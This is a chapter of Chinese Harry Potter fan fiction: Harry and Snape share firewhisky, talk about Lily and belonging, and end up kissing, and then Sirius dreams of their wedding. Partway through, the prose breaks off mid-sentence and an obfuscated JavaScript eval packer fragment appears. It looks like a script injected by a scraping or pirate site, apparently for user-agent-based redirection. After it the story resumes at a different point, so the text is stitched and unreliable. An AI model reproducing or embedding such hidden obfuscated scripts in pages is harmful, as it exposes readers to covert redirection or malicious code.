“而莉莉……她对我微笑,礼貌地询问我的近况,但我能感觉出来,对她来说我只是个路人,没什么特别的。” 咔嚓。 斯内普的刀切偏了,薄薄的辣根片滑落一旁。他面无表情地用刀尖挑起废料,扔进了废料桶。这种低级的失误,在他身上已经很多年没有发生过了。 哈利闭了闭眼睛,仿佛不愿再回想那个场景:“我本以为——毕竟小天狼星和莱姆斯都知道了,可我早该知道,我不该有什么期待的。他们三个在一起是那么完美的一家人。而我却站在外面,像个——” 刀刃突然深深切入砧板,离斯内普的手指只有毫厘之差。 哈利被这接二连三的异响惊动,惊愕地看向素来以精准著称的魔药大师。 斯内普慢慢地抽出小刀,拿起一块干净的布擦拭着,将哈利未说完的话补充完整,“闯入者。所以你就这么逃出来了?”他盯着刀面上的倒影,“我以为你会抱着布莱克痛哭一场。” 哈利愣了愣,随即苦笑:“我是逃出来了。我没法和小天狼星说这个,不想让他担心,他已经为我做了够多的了……你说得对,我就是个闯入者,这里从来都不是我的家。” 他声音中充满疲惫:“也许我一开始就不该去接触他们……我本来只想成为一个普通的朋友,只要能看到他们幸福就足够了。可如果我一开始就远远避开,而不是……” “而不是什么?”斯内普转过身来,目光锐利地落在他身上,“而不是迫使他们面对一个有着成年人经历,却仍像个孩子一样渴望被接纳的你?” 这话强行戳破了哈利隐秘的心思,连斯内普自己都有些意外自己会说出这样的话。他看到哈利的脸色变得更加苍白,立刻意识到自己说得太重了。 其实话一出口,他就有些后悔,那并不是他的本意。他想说的是詹姆斯·波特的狭隘,毕竟那家伙一向是个目光短浅的蠢货。虽然他自己没碰上什么靠谱的父母,但他也不认为对父母的渴望能有什么错。可看着哈利这副模样,他心底却莫名燃起一股火气——对詹姆斯·波特的愚蠢,对这整个局面的荒谬,还有对眼前这个从来没有把内心的痛苦流露出来的年轻人。 斯内普那直白的话无疑刺痛了哈利,他垂下眼帘,避开了那刺耳的质问,转而用略带沙哑的声音问道:“你这里有酒吗?火焰威士忌之类的,或者别的也行……只要能让我暂时忘掉这些。” 斯内普的眉毛高高挑起。他当然有酒——几瓶品质上乘的陈年火焰威士忌就锁在橱柜里。但他从不认为酒精是解决问题的办法,尤其对一个情绪已经濒临崩溃的人而言。 他父亲就是个酒鬼,他太清楚酒精能把人变成什么样子。 但当他的目光触及那双绿眼睛中的脆弱时,内心还是不可抑制地软化了。 斯内普吐出一口气,转身走向橱柜,从里面选了一瓶1957年的火焰威士忌——那是他收藏中品质最好的一瓶。 “你最好明白,无意义的放纵只会让你做出更多蠢事,佩弗利尔。”他重重地将酒瓶放在哈利面前的小桌上,随后挥动魔杖召来了两个水晶杯,“或者做出更多令你后悔的举动。” 话虽如此,他还是坐到了哈利对面,给自己倒了浅浅一杯。 哈利毫不客气地给自己倒满,一饮而尽。辛辣的酒液呛得他剧烈咳嗽起来,眼泪都被呛了出来。但他只是胡乱擦了擦嘴角,立刻又倒了第二杯。 斯内普皱眉看着这种近乎自虐的喝法。他想说点什么,最后只是端起自己的杯子,轻轻抿了一口。 今晚的魔药实验注定要泡汤了,但不知为何,斯内普发现自己并没有想象中那么在意。 几杯烈酒下肚后,哈利原本紧绷的肩膀慢慢放松了下来。他不再微微瑟缩着身体,而是略带慵懒地靠在椅背上,领口的扣子不知何时松开了两颗,露出一小片锁骨。他脸颊微微泛红,眼神也带上了些许醉意的迷离。 “你知道最可笑的是什么吗?”他举起酒杯,对着烛光凝视杯中琥珀色的液体,“我拼命想要的家庭就在眼前,可我是唯一不属于那里的人。” “‘属于’是个很微妙的概念,佩弗利尔。”斯内普缓缓转动着杯中的酒液,烛光在他脸上投下阴影,使得他平日里就显得深刻的轮廓更加棱角分明,“大多数人终其一生都在寻找归属,却发现它往往不以他们期望的形式存在。” “你不相信归属?”哈利偏着头看他,醉意让这个动作显得有些孩子气。 “我相信选择。”斯内普平静地说道,“人们可以选择接纳谁,也可以选择拒绝谁。而你所能选择的,只是如何回应。” 哈利沉默地消化着这番话,眼睛盯着空了的酒杯,似乎陷入了深深的思索。斯内普没有在意,只是慢条斯理地为自己又倒了一些酒。 也许是这个动作提醒了哈利,他似乎从思绪中回过神来:“对了,有个好消息忘了告诉你。这次正好赶上满月。我们让莱姆斯服用了你改良的狼毒药剂,效果出乎意料的好。” 斯内普稍稍坐直了些,职业的本能让他一下子关注起来:“具体表现?” “完全保持理智,变形时几乎没有痛苦。”哈利眼中透出由衷的欣慰,“结束后甚至没有以往的虚弱期。泰迪高兴坏了,一直抱着变成狼的莱姆斯不肯撒手。你真该看看那孩子的表情。” “副作用呢?”斯内普迅速追问,“任何异常反应?” “哦,有些小状况,”哈利似乎想起什么好笑的画面,忍不住扯了下嘴角。 斯内普又追问了那所谓的“副作用”究竟是什么。当得知莱姆斯的毛发只是变得异常蓬松,叫声也失去了狼的威慑力时,他心中涌起一种只有自己才懂的满意——改良版狼毒药剂大获成功。至于那些让小天狼星·布莱克值得大惊小怪的“副作用”,在他看来根本不值一提,丝毫不打算再去费心改进。梅林勋章?这倒是可以提上日程了。 哈利还在继续说,“莉莉听说后,说要写信好好感谢你。她说回家就写。” 听到莉莉的名字,斯内普握杯的手指微微收紧。有那么一瞬间,他的嘴角似乎想要上扬,但立刻被压制了下去。 “是吗。”他刻意让自己的语气平淡无波。 “她看起来……很好。”哈利却盯着他不放,“有詹姆斯陪着,还有了新的孩子……” 斯内普没有回应,只是又慢慢地抿了一口酒。 或许是酒精壮了哈利的胆。又或许是斯内普的表情变化还是被哈利捕捉到了。他醉眼朦胧地看着斯内普,问出了一个让对方脸色骤变的问题:“西弗勒斯,你刚才说的选择与归属……莉莉早就找到了她的归属,而你呢?你后悔自己的选择吗?” 砰。 斯内普的酒杯重重放在桌上,琥珀色的液体溅出了一些。他缓缓转过头,黑眼睛死死地盯着哈利。 “你到底想问什么,佩弗利尔?” 换做平时,哈利绝不会冒失到问这种问题。但酒醉之人总能做出意想不到的事。他毫不退缩地迎上斯内普冰冷刺骨的目光,固执地问,“你现在还爱着莉莉吗?” 空气瞬间凝固。 斯内普的脸色变得铁青。他眼中迅速闪过愤怒、震惊与难以掩饰的难堪,声音低得可怕,“你喝醉了,佩弗利尔。而且,你已经越界了。” 他的第一反应是,这一定又是小天狼星·布莱克那只蠢狗在背后胡言乱语,向佩弗利尔灌输了些不该知道的事。 “我知道你爱她。”哈利像是没有察觉他语气中的森寒,径直打断了他。醉意让他的舌头有些不听使唤,但语气却异常执拗,“我也知道你为了她做过很多事情。但是现在呢?已经过去这么多年了,你还是——” “够了!”斯内普猛地站起身,整个人笼罩在一种骇人的怒意中。他居高临下地俯视着哈利,眼中的火焰似乎下一秒就要将他驱逐,将他扔出地窖,永远禁止他踏入一步。 然而,在哈利那双虽然迷蒙却执拗的绿眼睛的注视下,斯内普的脑海中却突然浮现出回廊中的那些记忆片段。 不。不是布莱克。 他想起来了,他在那个神秘的回廊中窥见的记忆里,那个不惜一切为“斯内普”奔走,甚至固执地爱着“他”的哈利·波特——分明早就知晓“他”对莉莉的感情。 是的,哈利·佩弗利尔,不,哈利·波特,在他自己的世界里早就知道了。 这认知令斯内普胸中的怒意奇异地平息了下来。 他长长地吸了一口气,闭上了眼睛。然后重新坐回椅子上,给自己倒了满满一杯酒,一口饮尽。 “好。我就满足你这该死的好奇心。” 他沉默良久,良久到哈利以为他不会继续时,才缓缓开口,每字每句都像是从灵魂深处艰难挖出:“莉莉·伊万斯……是我生命中非常重要的人。” 哈利垂下眼睑,似乎对这答案并不意外。 “在我最黑暗的时期,她是唯一相信我并非无可救药的人。”斯内普继续说,“当所有人都视我为怪胎,当我父亲……” 他没有说完那句话,但哈利能够想象。 “她是我的第一个朋友,也是……”斯内普的声音低了下去,“唯一的朋友,很长一段时间里。” 他抬起眼,直视着哈利。 “我不会说我已经完全放下——毕竟,有些东西会永远刻在灵魂里。”他嘴角扯出一个自嘲的弧度,“但我对她的感情,波特,早已不是你所理解的那种‘爱’。” 他又给自己倒了一杯酒,这次只是握在手里,没有喝。 “那是一段结束的过去。一个我曾经犯下的错误和永远无法弥补的遗憾。现在的莉莉拥有自己的家庭和幸福,这与我无关。我祝福她,仅此而已。” 看着哈利惊讶的表情,斯内普讥讽地勾了勾嘴角:“很意外吗?你以为我会像个执迷不悟的可怜虫一样抱着过去不放?”他摇摇头,脑海中闪过那个至死背负莉莉执念的可悲灵魂,“人总要学着放下一些本就不属于自己的东西,否则,只会让自己活成一个笑话。” 说完,他的思绪又不由自主地转到眼前这个人身上。波特分明对“斯内普”和莉莉之间的过往一清二楚,还是一头扎进了那条注定痛苦的爱恋之路。即便那段感情已被他亲手封存,这个穿越而来的哈利·波特,仍旧本能般地选择靠近自己,近乎盲目地信任他。这种仿佛刻在灵魂深处的执着,让斯内普感到费解,也搅动起一丝从未有过的异样情绪。 而波特突然问起这个,难道—— 不。斯内普很快否定。波特失去了那段记忆,应该不可能再有那种荒唐的想法。 可无论如何,命运的嘲弄还真是无处不在。无论哪个世界,他,西弗勒斯·斯内普,似乎都摆脱不了“波特”,摆脱不了那双该死的绿眼睛的纠缠。 地窖里陷入了长久的沉默。哈利显然被斯内普的坦白震撼了,一时不知该说什么。 他可能也觉得自己刚才的问题过于唐突,低声道:“对不起,我不该问这些。” “省省你的歉意吧,波特。”斯内普恢复了往日的语气,“我可不需要一个醉鬼格兰芬多的同情。” 沉默再次降临,哈利看上去想再说些什么缓解尴尬,却突然像是想起什么,开始在袍子内袋中摸索着。 “等等……我记得……”他嘟囔着,终于掏出一个用普通羊皮纸包裹的小瓶子,“找到了!” 他站起身,想走到斯内普面前,却因起身太急而晃了晃。下一秒,一只冰凉的手稳稳扶住了他的手臂。 “坐下。”斯内普的声音就在耳边,带着淡淡的不耐。 哈利微微一怔。这短暂的接触只持续了几秒,确认他重新坐稳后,斯内普立刻松开手,不动声色地后退半步,拉开了两人之间的距离。 “这是什么?”他瞥了一眼哈利递来的小瓶子。 “复活节礼物。”哈利露出一个稍带窘迫的笑容,“差点忘了。这是给你的。” 斯内普挑起一边眉毛,眼神中透出一丝怀疑:“礼物?波特,我不记得我们之间有交换礼物的习惯。” “算是表达谢意吧,”哈利解释道,“为了狼毒药剂的事。瓶子里是仙女谷的泉水,小天狼星带我们去的时候,说那里的泉水有特殊的治愈魔力,而且非常纯净。我想你可能会感兴趣,就特意收集了一些。” “还有几瓶,下次给你带来。”哈利说着,将瓶子又往前递了递。 斯内普慢吞吞地接过瓶子,低头审视着。打开瓶塞,一股清冽的花香瞬间弥漫开来。他那属于魔药大师的本能立刻被激发。 “采集地的具体环境?”他将瓶口凑近鼻尖,谨慎地嗅了嗅,仔细分辨着其中的成分。 “峡谷深处的一个隐蔽池塘,”哈利努力回忆着,“周围都是很古老的橡树。水很清,可以看到池底的鹅卵石和水草。我手伸进水里时,还能感觉到一种奇妙的温暖力量——” “等等。”斯内普突然打断他,将瓶子举到烛光下,眼睛微微眯起,“你过来看看这个。” 哈利有些疑惑地凑过去。在烛光的映照下,原本透明的泉水呈现出一种奇异的蓝色光晕,像是有生命一般在瓶中流动。 “这是魔法生物留下的痕迹,”斯内普喃喃说道,完全沉浸在自己的分析之中,“可能是某种罕有的水栖精灵,或者其他什么……” “看这里。”他指着瓶中一处微小的光点,“魔力在这里形成了漩涡。如果我没猜错,这种水能大大提升治疗类魔药的效果,尤其是那些强调纯净性的药剂。” 两人的肩膀不经意间挨在一起,都全神贯注地盯着瓶中的液体。 “当然,这只是初步判断。”斯内普结束了自己的分析,“需要更详细的测试才能确定具体用途。” 他滔滔不绝地说完,才察觉两人靠得太近——近到他能感受到哈利温热的呼吸轻拂过颈侧,能看见他因好奇而微微皱起的眉头,还有那双在烛光下格外明亮的绿眼睛。 斯内普不动声色地侧身,拉开了些距离。 “你说还有几瓶?” “在……在峡谷之屋。”哈利回答,不知道为什么有点结巴,“假期结束后我会都带回来。” 斯内普点点头,用魔法封存了瓶子,小心翼翼地将它放置在储藏柜的最高层。 “谢谢。”他轻声说,随后语气又恢复公事公办,“这确实可能很有价值。” 哈利摆摆手,好像挺高兴看着斯内普如此珍重地处理他的礼物。他随手拿起杯子,发现已经空了,便又给自己斟满。 “你知道吗,”他靠回椅背上,语气随意中带着点感慨,“你是第一个。” “什么?”斯内普疑惑地转向他。 “第一个在我谈起这些时,没有立刻安慰或否认的人。”哈利苦涩地一笑,“小天狼星总说‘詹姆斯只是需要时间’,莱姆斯会说‘他只是不够了解你’……而只有你直截了当地指出了真相。” 哈利的声音低了下去:“闯入者。也许这就是我一直不敢面对的事实。” 斯内普默默地看着他,随后慢慢走回到他对面坐下。 “真相从来不是美好的,波特。”他平静地说,“但逃避它只会让情况更糟。你确实是这个世界的闯入者,这是无法改变的事实。” 哈利的肩膀垂了下去。 “但是,”斯内普继续道,“谁规定闯入者就一定是不受欢迎的?” 哈利猛地抬起头,绿眼睛里满是惊讶。 斯内普避开他的目光:“这个世界失去了它原本的哈利·波特,这是事实。但它同时得到了你——一个经历过战争、懂得牺牲意义、愿意保护他人的你……以及那个孩子。” 他顿了顿,又抬头直视着哈利,“也许对波特夫妇来说,你的存在提醒了他们的丧子之痛。但对其他人呢?对邓布利多来说,你是对抗黑魔王的重要力量。对你的学生来说,你是值得信赖的教授。对泰迪来说,你是他在这个陌生世界里最重要的依靠。” 空气似乎静止了一瞬间。 “那你呢?”哈利忍不住追问,语气中带着一丝迫切。 斯内普却不肯说下去了。 哈利见状,表情有些失望,可也没有再追问,而是低头安静地啜饮着杯中酒。 两人就这样坐着,谁都没有说话。不知不觉间,他们都挪到了壁炉边的沙发上——那里更暖和些,也更舒适。 酒瓶里的酒渐渐见底,夜色也越来越深了。 斯内普瞥了一眼几乎空了的酒瓶,觉得今晚自己已经说了太多,也许是时候该给这个夜晚画个句号了。但显然,哈利并不这么想。他今晚好像有太多问题需要解答,似乎不把那些积压已久的困惑彻底倾诉出来,就不会停下。 “西弗勒斯……”哈利轻声开口,语气中透着一丝犹豫,“如果……我是说如果,你为了一些你认为值得的事情,付出了生命的代价……你会在意别人怎么评价你吗?” 斯内普被这突如其来的问题问得一愣。他无法轻描淡写地说“不在意”,因为他已经亲眼见过哈利为此所承受的一切。他隐约明白,这个问题背后对哈利意味着什么。 “一个真正决心走上某条道路的人,”斯内普沉思片刻,才缓缓说道,“通常不会将他人的评价放在首位。否则,他从一开始就坚持不下去。” 哈利微微垂下头,“是吗?我曾经以为,让所有人都知道真相,才是对逝者最好的告慰。” “但是,”斯内普的目光转向哈利,凝视着他被火光映得有些模糊的侧脸,“如果有人明知要付出沉重代价,甚至会招来无数非议和误解,还是选择去维护一份被刻意掩盖的真相……” “那么,这份执着本身,或许比任何虚名都更有分量。至少证明并非所有的付出都无人知晓,也并非所有的牺牲都毫无意义。” “至少……对某些特定的人而言。”最后这句话说得极轻,如果不是哈利离得够近,可能根本听不清。 “你还记得我说过,”哈利的声音略有些不稳,“在我那个世界,你成为了霍格沃兹最年轻的校长吗?” 斯内普从喉咙里低低地应了一声,算是回应。 “每一位卸任的校长,画像都会挂进校长室。”哈利接着说,像是自言自语,又像在讲述一件埋在心底已久却无人可说的秘密,“在我来到这里前的那一周,我终于做到了。我让……‘他’的画像挂进了霍格沃兹的校长室。” 斯内普的身体明显僵了一下。他当然记得看到的那些画面——眼前这个人,为了这件事奔走呼吁,一次次承受误解与失败,一次次固执地坚持。但亲耳听到哈利说出口,感觉完全不同。 “可你知道吗?那幅画像不会动。”哈利的嗓音里满是遗憾与深深的悲伤,“‘他’……走得太突然,太年轻,根本没来得及准备魔法画像。” 他抬起头,竭力让语调显得平静些:“麦格教授曾建议让我找画师凭印象作一幅画像,我拒绝了。那样画出来的,就不再是我认识的那个西弗勒斯·斯内普了。” “所以,‘他’的画像,是霍格沃兹所有校长画像中,唯一一幅不会动的。就像麻瓜的那些照片一样,永远定格在了某个瞬间。”哈利苦笑了一下,“可就连罗恩和赫敏也无法理解我为什么坚持这么做。” 斯内普久久地沉默。 “看来你总算做了一件不那么愚蠢的事情,波特。”他终于开口,语气里不见怒气,反而带着一丝难得的调侃。 哈利惊讶地抬头,有些不敢置信地看向他。 斯内普的脸上仍旧波澜不惊,“如果是我——与其让一个顶着我的脸、却不停说着蠢话的魔法画像败坏我的名声,”他淡淡地继续,语气半真半假,“我宁可要一幅安静的麻瓜画像。” 这个意料之外的回答让哈利一怔,几秒钟后他笑了出来——今晚第一次真正发自内心的笑容。 他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯内普下意识避开了他那过于直白和炽热的目光,但表情明显柔和了:“那是个很特别的孩子。” “至于你……”他犹豫了片刻,还是回应了哈利刚才的问题,“你确实不在我的人生规划里。但你就这样出现了,带着你的秘密,还有麻烦。” 斯内普短暂地停顿了一下。 “不过,感觉……也不坏。” 哈利愣愣地看着他,酒精让他的反应有些迟钝,可他却好像整个人一下子放松了下来。 “谢谢你,西弗勒斯。”他轻声说,“为泰迪做的一切。也为我……” —————— 谈话渐渐沉寂,斯内普瞥向桌上的火焰威士忌,瓶中仅剩浅浅一层。他默不作声地拿起瓶子,将最后的酒液均分进两只杯中。他递给哈利一杯,自己端起另一杯。两人无言地对饮着,气氛一时变得自在而温馨。 极度的疲惫和酒精终于击倒了哈利。他的眼皮越来越沉,头也一点一点地垂下,身体不自觉地向一侧倾斜。最终,他的头毫无防备地倚在了斯内普的肩膀上,发出均匀的呼吸声。 斯内普整个身体都僵硬了。 哈利温热的气息拂过他的脖颈,柔软的黑发蹭着他的下巴。他能清晰地感受到对方身上传来的温度,伴随着火焰威士忌微醺的余韵,还有一种只属于这个年轻人的干净而温暖的气息。 他的第一反应是将他推开。然而,哈利睡得极沉,嘴角甚至挂着一抹满足的微笑。 斯内普一动不敢动,连呼吸都不敢用力。前所未有的情感开始肆无忌惮地在胸腔里滋生蔓延,缠绕住他的心脏,让他恐慌得几乎想逃离这个地窖,逃离眼前这过于亲密的场景。 他努力地说服自己,这只是酒精在作祟,只是夜深人静时的错觉。 可当他微微低头,想确认哈利是否真的睡熟时,意外猝不及防——他的嘴唇不小心擦过了哈利的额头。 那转瞬即逝的触感温暖而柔软,像一道细小的电流,刹那间窜遍全身,让他猛然向后一仰,黑眼睛中充满了震惊和自己都难以理解的悸动。 他死死地盯着哈利熟睡的面容,呼吸都变得粗重起来。刚才那个无意间的触碰,像一个滚烫的烙印一样,深深地刻在了他的唇上,也刻在了他的心上,灼烧着他每一寸神经。 推开他!立刻结束这荒谬的一切!他的理智在咆哮。但他的身体却像被施了定身咒一样无法动弹。 这时,哈利似乎被刚刚的动静惊扰了,眼睫毛颤动几下后,迷迷糊糊地睁开了眼睛。他睡眼惺忪地盯着眼前的人,似乎一时还没反应过来自己究竟身在何处。 “波特——”斯内普轻轻松了一口气,刚想让他滚回自己卧室休息,可话到嘴边,对上那双迷离的绿眼睛,却一个字也吐不出来。 他们就这样对视着。哈利的眼神逐渐清明,从斯内普深不见底的黑眸缓缓下移,最终停留在他紧抿着的薄唇上,目光专注得仿佛在研究一个难解的咒语。 然后,就在斯内普还没反应过来时哈利动了。他微微抬头,凑上前,在那冰冷的唇上轻轻一啄。 斯内普彻底石化了。 哈利似乎对自己的大胆之举颇为满意。他舔了舔嘴唇,像是在回味,目光却再次投向斯内普的唇,喉结明显地上下滑动了一下。 那双绿眼睛炽热得简直要把斯内普的灵魂都燃烧殆尽。 下一秒,哈利不再犹豫。他整个人彻底凑上前,这次更紧密,更用力,带着毫不掩饰的渴望。 斯内普被动地承受着这份温热,无处可退,无处可逃,耳中只剩下血液奔腾的轰响。哈利唇间还带着火焰威士忌残余的辛辣,温暖而柔软的触感,像一剂最猛烈的迷情剂,点燃了他体内沉睡已久的火焰。 不知过了多久——也许只是短短几秒,也许是漫长永恒—— 斯内普的手突然有了动作,一只手用力扣住哈利的后颈,五指深深陷入那乱糟糟的黑发中,将他拢得更近。哈利发出一声满足的叹息,热切地回应着。 如果说哈利的接触只是试探与渴求,那么斯内普的回应便是压抑已久的崩塌与释放。所有掩藏得完美无缺的克制、所有坚守的伪装与否认,在这一刻轰然瓦解。 整个地窖仿佛变成了一个巨大的坩埚,空气在其中剧烈翻滚,温度不断攀升,而他们就是那即将沸腾的魔药。 厚重的巫师袍成了碍事的存在。哈利烦躁地扯了扯面前密密麻麻的纽扣,终于不耐烦地抽出魔杖。 所有的扣子顷刻间全部崩开,争先恐后地从扣眼中蹦出,在空中划出几道细微的弧线,噼里啪啦地洒了一地。 两人的呼吸渐渐变得急促,斯内普的目光落在哈利迷蒙的绿眼睛上,那双眼睛仿佛蒙了一层水雾,此刻显得更加年轻而毫无防备。 “西弗勒斯……”哈利在换气的间隙呢喃着他的名字。 斯内普贴近他的耳侧,唇瓣轻轻碰触侧脸,一个名字在唇齿间徘徊了许久—— 但最终,他什么也没说,只是用更大的力量封住了所有可能泄露内心的话语。 理智?早已被他们双双抛到了九霄云外。 —————— 剧烈的头痛把哈利从睡梦中拉了出来。他痛苦地呻|吟了一声,费力地睁开沉重的眼皮。 他眨眨眼,视线逐渐聚焦——黑色的床单,同样黑色的床幔,空气中那股魔药独有的苦涩气味…… 这不是他的房间。 这个认知令哈利瞬间清醒了不少。 是斯内普的卧室。 昨夜的记忆断断续续地浮上脑海——火焰威士忌的辛辣,与斯内普之间那些出乎意料的坦诚对话。他记得自己似乎说了不少关于父母、关于“家”的醉话,甚至还不知死活地追问了斯内普关于莉莉的问题,最后还提到了那幅不会动的画像…… 记忆的碎片逐渐拼凑,他想起自己最后似乎是睡着了,不,等等——他又醒了过来,然后…… 哈利猛地掀开被子,低头扫了眼自己的身体,脸“轰”的一下红透了。 梅林的胡子,他昨晚到底做了什么? 他简直不敢相信自己居然趁着醉意,或者说,借着醉意,做出了那么大胆的举动。 更糟糕的是,斯内普回应了。哈利用一只手捂住发烫的脸。 昨晚最后那段模糊却又异常清晰的亲密时刻,现在仔细回味一下,他竟然觉得还挺不错的。 不知道为什么,他的心像气球一样轻飘飘的。尽管宿醉让他头痛欲裂,喉咙也干得像是要冒火,但心头那种压抑了许久的痛苦、迷茫和孤独,在昨晚那场酣畅淋漓——虽然现在回想起来也非常丢脸——的宣泄,以及最后那段意乱情迷的亲密接触之后,似乎真的减轻了不少。 而且,最重要的是,斯内普竟然回应了他。 这个事实让哈利的心脏跳得飞快。 他坐起身,宿醉带来的眩晕让他不得不扶住床头。身体有些酸痛僵硬——他们昨晚在沙发上纠缠了很久,那确实不是个舒适的地方。 衣服整齐地叠放在床头柜上。哈利拿起来仔细看了看——所有的扣子都好好地回到原位。他记得自己毫无耐心地用魔法将它们全部崩开了…… 哈利的嘴角不自觉地上扬。快速穿好衣服,轻手轻脚地离开卧室,走进魔药学办公室。 他一眼就看到了斯内普。那个男人已经穿戴整齐——哈利甚至很怀疑这家伙昨晚到底有没有睡——黑色的巫师袍一丝不苟,每一颗纽扣都扣得严严实实。他正坐在书桌后,面前摊着几张羊皮纸和一根羽毛笔,似乎在心无旁骛地撰写着实验报告。 哈利走近时忍不住暗中观察着斯内普,试图从那张惯于掩饰的脸上,找出一些不同寻常的蛛丝马迹。但斯内普神情一如既往的冷淡和专注,仿佛昨晚那场漫长而充满激烈情绪的谈话,以及之后那段足以颠覆一切的亲密时刻,都不过是一场无关紧要的梦,从未真实发生过。他那像气球一样膨胀起来的心,一下子被这盆冷水浇得有些泄气。 难道昨晚对斯内普来说什么都不是吗?只是酒精作用下的一时冲动? ——好像只有他一个人在忐忑不安地思考着他们今后的关系似的。 听见哈利的脚步声,斯内普头也没抬,“终于醒了?我还以为你打算在我的床上睡到下一个复活节。你的鼾声差点把我架子上的魔药都震下来了。” 哈利知道他在瞎说——他睡觉从来不打鼾。不过,这不是现在他最在意的,因为哈利忽然意识到,当斯内普摆出这副比平时更加刻意的冷漠时,他肯定是在掩饰着什么。既然如此—— 哈利抿了抿唇,一个主意迅速闪过脑海。 “可能是因为你的沙发硬邦邦的。”他身体靠着桌沿,假装随意地开口,“也许下次你该考虑换个更舒适的,西弗勒斯。” 效果立竿见影。 斯内普手中的羽毛笔停顿了一瞬,尽管表情没什么变化,但哈利满意地注意到,他的耳尖迅速泛红。 哈利心底好笑。至少,他不是唯一一个被昨晚影响的人。这个认知让他心情愉悦起来,随之而来的是前所未有的饥饿感。 “西弗勒斯?” 斯内普只是含糊地应了一声:“嗯?” “我饿了。”简单的三个字,从哈利嘴里说出,却带着自然而然的亲昵。 斯内普终于抬起头,用那双深不可测的黑眼睛打量着他。 “考虑到你昨晚几乎喝光了我半个柜子的火焰威士忌,”他慢条斯理地说,“你现在只是饿了而不是躺在圣芒戈里,已经可以算是一个梅林也无法解释的奇迹了。喝了它。” 一瓶魔药从魔药架上浮起,径直飞来,被哈利一把抓住。 “这是什么?” “解酒。”斯内普言简意赅地说。 哈利却从他这番话里品出了一点关心的意味。 “那……”哈利故作镇定地继续问道,“你要不要一起去礼堂吃早餐?” “我不记得我们有共进早餐的习惯。” “我们也没有彻夜长谈和——”哈利故意拉长了尾音,眉毛一挑,绿眼睛笑意盈盈地盯着斯内普,“——那种习惯。但昨晚不是过得挺好?” 斯内普把羽毛笔攥得更紧了,他飞快地瞥了哈利一眼,目光颇有些恼羞成怒。哈利毫不示弱地回视,敏锐地注意到他耳廓的红晕加深,甚至连脖颈都泛起了一层薄红。 哦,他可一点也不担心会被拒绝——就算真被拒绝,他也有的是法子把这家伙拉去。 片刻沉默后,斯内普似乎做出了某个妥协:“可以。” “五分钟。”他合上面前的笔记本,“我需要收拾这些文件。” 哈利的笑容顿时明亮了起来。 “顺带一提,”斯内普补充道,“如果你还打算维持你那岌岌可危的教授形象,我建议你最好在踏入礼堂之前,先把自己从这副惨不忍睹的样子中解救出来。” 哈利笑得更灿烂,心中涌起一股冲动,想冲过去拥抱这个别扭的男人,但他还是忍住了。不急,他想,未来还有很多机会。 “那我先回去洗漱。”哈利轻快地说道,却迟迟没有挪动脚步,“十分钟后,礼堂门口见?” 斯内普点了点头,低头收拾桌上的羊皮纸。 “别迟到。”他平静地补了一句。 哈利愉悦地转过身,就在他即将跨出门槛时,一个称呼清晰地传入他的耳中: “哈利。” 103. 无声的警钟(上) 小天狼星发现自己站在一片喧嚣的迷雾中。 他低头瞥了一眼身上的衣物——梅林的胡子,他竟然穿着一套正式的深蓝色礼服长袍。上一次穿这么正经的衣服,还是詹姆斯和莉莉的婚礼吧? 他抬起头,四下打量,意识到自己置身于一个装饰得温馨而热闹的大厅,墙上挂着鲜花和丝带,空气中漂浮着点点魔法光球。詹姆斯和莉莉站在不远处,两人都穿着礼服长袍,正笑容满面地与其他宾客交谈。 “这是在干什么?”小天狼星低声嘟囔,手指无意识地扯了扯领口,试图弄清眼前的状况。 他的目光扫过人群,看到了卢平。月亮脸穿着一身剪裁合体的灰色长袍,看起来比平时精神多了。奇怪的是,他身旁站着一个粉色头发的年轻女巫,两人亲密地挽着手臂,低声说着什么,脸上都带着愉悦的笑容。 唐克斯?小天狼星皱紧了眉头。他们什么时候这么熟了?他不是还没来得及找机会介绍他们认识吗? 大厅里还有其他熟悉的身影。泰迪穿着小号的礼服长袍,带着他的小伙伴们在人群中欢快地钻来钻去。韦斯莱家的孩子们在旁边吵吵嚷嚷,周围满是鲜花的芬芳和宾客的喧闹。 这是什么地方?是什么庆祝场合吗?小天狼星完全摸不着头脑。 “小天狼星!”一个声音在他身后响起。 他转过身,看到哈利正快步向他走来。 只见哈利穿着一身剪裁合体的墨绿色礼服长袍,衬得他的绿眼睛格外明亮。平时乱糟糟的黑发被梳理得整整齐齐,他脸上带着一丝紧张,又带着点难以抑制的喜悦。 “你总算来了!”哈利一把抓住他的手臂,“时间快到了,快来!” “什么时间?”小天狼星一头雾水,“哈利,这到底是怎么回事?这是哪里?” 詹姆斯听到了动静,转身大步走来,咧嘴笑着拍了拍他的肩膀,“大脚板,别告诉我你忘了今天是什么日子!” “什么日子?”小天狼星更加纳闷了。 “哈利的婚礼啊!”詹姆斯笑容灿烂,“我们的哈利终于要结婚了!” 小天狼星感觉自己被雷劈中了:“婚、婚礼?哈利要结婚?和谁?哪个姑娘?我怎么一点都不知道?” 莉莉也走了过来,对着他揶揄地眨了眨眼:“小天狼星,你这个教父怎么当的?连这个都能忘记?” “我——”小天狼星张口想辩解,但周围的人都带着那种神秘兮兮的笑容,似乎在等着好戏。 “别急,”卢平也凑了过来,语气里藏着几分戏谑,“再等等你就明白了。相信我,这会让你大吃一惊。” “对对对,惊喜!”泰迪不知从哪儿蹦出来,眼睛亮晶晶地盯着他,“小天狼星,你肯定会喜欢的!” 小天狼星脑子飞快转动,正拼命猜测新娘的身份,大厅入口处却传来一阵骚动。有人高声喊道:“另一位新郎到了!” 他彻底懵了:“另一位……新郎?不是新娘吗?” 小天狼星僵硬地转头,顺着众人的目光望向入口,然后看到了这辈子最离奇的一幕。 西弗勒斯·斯内普迈着沉稳的步伐走进大厅。 那个永远把自己包裹在层层黑袍中的男人,今天依旧一身黑,但这件长袍明显不同——丝绸质地,边缘镶着细密的银线,裁剪考究得无可挑剔。那头常年油腻的黑发被精心打理过,柔顺地垂在肩头。而最可怕的是斯内普的表情,那张总是挂着讥讽和冷漠的脸庞上,此刻却流露出郑重无比的神情。 哈利松开抓着小天狼星的手,快步迎了上去。人群中爆发出善意的笑声和口哨声,哈利却浑然不觉,径直伸出手,握住了斯内普的手。斯内普没有抽回手,反而微微侧头,目光落在哈利身上,眼神简直可以用柔情蜜意来形容。 